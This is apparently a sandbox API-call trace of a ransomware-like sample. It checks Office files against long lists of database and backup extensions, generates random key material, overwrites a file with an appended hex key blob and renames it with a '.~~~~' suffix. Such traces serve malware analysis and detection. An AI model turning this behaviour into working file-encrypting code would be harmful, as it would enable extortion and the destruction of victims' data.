	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DACPAC") returned 0x0
	[0140.278] lstrlenW (lpString=".VHD") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".VHD") returned 0x0
	[0140.278] lstrlenW (lpString=".DBV") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DBV") returned 0x0
	[0140.279] lstrlenW (lpString=".dacpac") returned 7
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".dacpac") returned 0x0
	[0140.279] lstrlenW (lpString=".sdf") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".sdf") returned 0x0
	[0140.279] lstrlenW (lpString=".accdb") returned 6
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".accdb") returned 0x0
	[0140.279] lstrlenW (lpString=".DBX") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DBX") returned 0x0
	[0140.279] lstrlenW (lpString=".MDT") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".MDT") returned 0x0
	[0140.279] lstrlenW (lpString=".SQB") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".SQB") returned 0x0
	[0140.279] lstrlenW (lpString=".vhd") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".vhd") returned 0x0
	[0140.279] lstrlenW (lpString=".bac") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".bac") returned 0x0
	[0140.279] lstrlenW (lpString=".mdf") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".mdf") returned 0x0
	[0140.279] lstrlenW (lpString=".BAK") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".BAK") returned 0x0
	[0140.279] lstrlenW (lpString=".BAC") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".BAC") returned 0x0
	[0140.279] lstrlenW (lpString=".dbs") returned 4
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".dbs") returned 0x0
	[0140.279] lstrlenW (lpString=".vhdx") returned 5
	[0140.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".vhdx") returned 0x0
	[0140.279] lstrlenW (lpString=".NDF") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".NDF") returned 0x0
	[0140.280] lstrlenW (lpString=".dat") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".dat") returned 0x0
	[0140.280] lstrlenW (lpString=".DBS") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DBS") returned 0x0
	[0140.280] lstrlenW (lpString=".CKP") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".CKP") returned 0x0
	[0140.280] lstrlenW (lpString=".edb") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".edb") returned 0x0
	[0140.280] lstrlenW (lpString=".PST") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".PST") returned 0x0
	[0140.280] lstrlenW (lpString=".dbf") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".dbf") returned 0x0
	[0140.280] lstrlenW (lpString=".SQL") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".SQL") returned 0x0
	[0140.280] lstrlenW (lpString=".pst") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".pst") returned 0x0
	[0140.280] lstrlenW (lpString=".dbv") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".dbv") returned 0x0
	[0140.280] lstrlenW (lpString=".SDF") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".SDF") returned 0x0
	[0140.280] lstrlenW (lpString=".dtxs") returned 5
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".dtxs") returned 0x0
	[0140.280] lstrlenW (lpString=".db3") returned 4
	[0140.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".db3") returned 0x0
	[0140.280] lstrlenW (lpString=".OST") returned 4
	[0140.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".OST") returned 0x0
	[0140.281] lstrlenW (lpString=".dbx") returned 4
	[0140.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".dbx") returned 0x0
	[0140.281] lstrlenW (lpString=".DB3") returned 4
	[0140.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DB3") returned 0x0
	[0140.281] lstrlenW (lpString=".DAT") returned 4
	[0140.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DAT") returned 0x0
	[0140.319] lstrlenW (lpString=".VHDX") returned 5
	[0140.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".VHDX") returned 0x0
	[0140.319] lstrlenW (lpString=".ndf") returned 4
	[0140.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".ndf") returned 0x0
	[0140.319] lstrlenW (lpString=".DB") returned 3
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DB") returned 0x0
	[0140.320] lstrlenW (lpString=".sql") returned 4
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".sql") returned 0x0
	[0140.320] lstrlenW (lpString=".MYD") returned 4
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".MYD") returned 0x0
	[0140.320] lstrlenW (lpString=".DBT") returned 4
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DBT") returned 0x0
	[0140.320] lstrlenW (lpString=".ACCDB") returned 6
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".ACCDB") returned 0x0
	[0140.320] lstrlenW (lpString=".fdb") returned 4
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".fdb") returned 0x0
	[0140.320] lstrlenW (lpString=".bak") returned 4
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".bak") returned 0x0
	[0140.320] lstrlenW (lpString=".myd") returned 4
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".myd") returned 0x0
	[0140.320] lstrlenW (lpString=".DTXS") returned 5
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DTXS") returned 0x0
	[0140.320] lstrlenW (lpString=".ckp") returned 4
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".ckp") returned 0x0
	[0140.320] lstrlenW (lpString=".dbt") returned 4
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".dbt") returned 0x0
	[0140.320] lstrlenW (lpString=".db") returned 3
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".db") returned 0x0
	[0140.320] lstrlenW (lpString=".TXT") returned 4
	[0140.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".TXT") returned 0x0
	[0140.321] lstrlenW (lpString=".MDF") returned 4
	[0140.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".MDF") returned 0x0
	[0140.321] lstrlenW (lpString=".bdb") returned 4
	[0140.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".bdb") returned 0x0
	[0140.321] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0140.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.321] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0140.322] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.322] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.323] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26031458349) returned 1
	[0140.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd0b4b10, dwHighDateTime=0x1d60e1e)) 
	[0140.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5268
	[0140.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5268 | out: hHeap=0x300000) returned 1
	[0140.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f300
	[0140.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0140.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f300 | out: hHeap=0x300000) returned 1
	[0140.325] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0140.326] GetLastError () returned 0x0
	[0140.326] GetLastError () returned 0x0
	[0140.326] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0140.326] GetLastError () returned 0x0
	[0140.326] GetLastError () returned 0x0
	[0140.326] ReadFile (in: hFile=0x138, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x26dfec0*=0x182b, lpOverlapped=0x0) returned 1
	[0140.335] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe7d5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.336] WriteFile (in: hFile=0x138, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x182b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x26dfec0*=0x182b, lpOverlapped=0x0) returned 1
	[0140.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0140.336] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.336] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.336] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.336] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.336] CloseHandle (hObject=0x138) returned 1
	[0140.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38de00
	[0140.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\papers.ini"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\papers.ini.~~~~")) returned 1
	[0140.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38de00 | out: hHeap=0x300000) returned 1
	[0140.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.338] GetLastError () returned 0x0
	[0140.338] RtlWakeConditionVariable () returned 0x0
	[0140.338] GetCurrentThreadId () returned 0x9cc
	[0140.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".scr") returned 0x0
	[0140.338] lstrlenW (lpString=".cmd") returned 4
	[0140.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".cmd") returned 0x0
	[0140.338] lstrlenW (lpString=".dll") returned 4
	[0140.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".dll") returned 0x0
	[0140.339] lstrlenW (lpString=".bat") returned 4
	[0140.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".bat") returned 0x0
	[0140.339] lstrlenW (lpString=".cpl") returned 4
	[0140.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".cpl") returned 0x0
	[0140.339] lstrlenW (lpString=".sys") returned 4
	[0140.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".sys") returned 0x0
	[0140.339] lstrlenW (lpString=".msc") returned 4
	[0140.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".msc") returned 0x0
	[0140.339] lstrlenW (lpString=".com") returned 4
	[0140.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".com") returned 0x0
	[0140.339] lstrlenW (lpString=".lnk") returned 4
	[0140.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".lnk") returned 0x0
	[0140.339] lstrlenW (lpString=".msp") returned 4
	[0140.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".msp") returned 0x0
	[0140.339] lstrlenW (lpString=".pif") returned 4
	[0140.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".pif") returned 0x0
	[0140.339] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.341] lstrlenW (lpString=".sqb") returned 4
	[0140.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".sqb") returned 0x0
	[0140.341] lstrlenW (lpString=".ost") returned 4
	[0140.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".ost") returned 0x0
	[0140.341] lstrlenW (lpString=".txt") returned 4
	[0140.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".txt") returned 0x0
	[0140.341] lstrlenW (lpString=".mdt") returned 4
	[0140.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".mdt") returned 0x0
	[0140.341] lstrlenW (lpString=".BDB") returned 4
	[0140.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".BDB") returned 0x0
	[0140.341] lstrlenW (lpString=".eql") returned 4
	[0140.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".eql") returned 0x0
	[0140.342] lstrlenW (lpString=".DBF") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DBF") returned 0x0
	[0140.342] lstrlenW (lpString=".EQL") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".EQL") returned 0x0
	[0140.342] lstrlenW (lpString=".FDB") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".FDB") returned 0x0
	[0140.342] lstrlenW (lpString=".EDB") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".EDB") returned 0x0
	[0140.342] lstrlenW (lpString=".DACPAC") returned 7
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.342] lstrlenW (lpString=".VHD") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".VHD") returned 0x0
	[0140.342] lstrlenW (lpString=".DBV") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DBV") returned 0x0
	[0140.342] lstrlenW (lpString=".dacpac") returned 7
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.342] lstrlenW (lpString=".sdf") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".sdf") returned 0x0
	[0140.342] lstrlenW (lpString=".accdb") returned 6
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".accdb") returned 0x0
	[0140.342] lstrlenW (lpString=".DBX") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DBX") returned 0x0
	[0140.342] lstrlenW (lpString=".MDT") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".MDT") returned 0x0
	[0140.342] lstrlenW (lpString=".SQB") returned 4
	[0140.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".SQB") returned 0x0
	[0140.342] lstrlenW (lpString=".vhd") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".vhd") returned 0x0
	[0140.343] lstrlenW (lpString=".bac") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".bac") returned 0x0
	[0140.343] lstrlenW (lpString=".mdf") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".mdf") returned 0x0
	[0140.343] lstrlenW (lpString=".BAK") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".BAK") returned 0x0
	[0140.343] lstrlenW (lpString=".BAC") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".BAC") returned 0x0
	[0140.343] lstrlenW (lpString=".dbs") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".dbs") returned 0x0
	[0140.343] lstrlenW (lpString=".vhdx") returned 5
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.343] lstrlenW (lpString=".NDF") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".NDF") returned 0x0
	[0140.343] lstrlenW (lpString=".dat") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".dat") returned 0x0
	[0140.343] lstrlenW (lpString=".DBS") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DBS") returned 0x0
	[0140.343] lstrlenW (lpString=".CKP") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".CKP") returned 0x0
	[0140.343] lstrlenW (lpString=".edb") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".edb") returned 0x0
	[0140.343] lstrlenW (lpString=".PST") returned 4
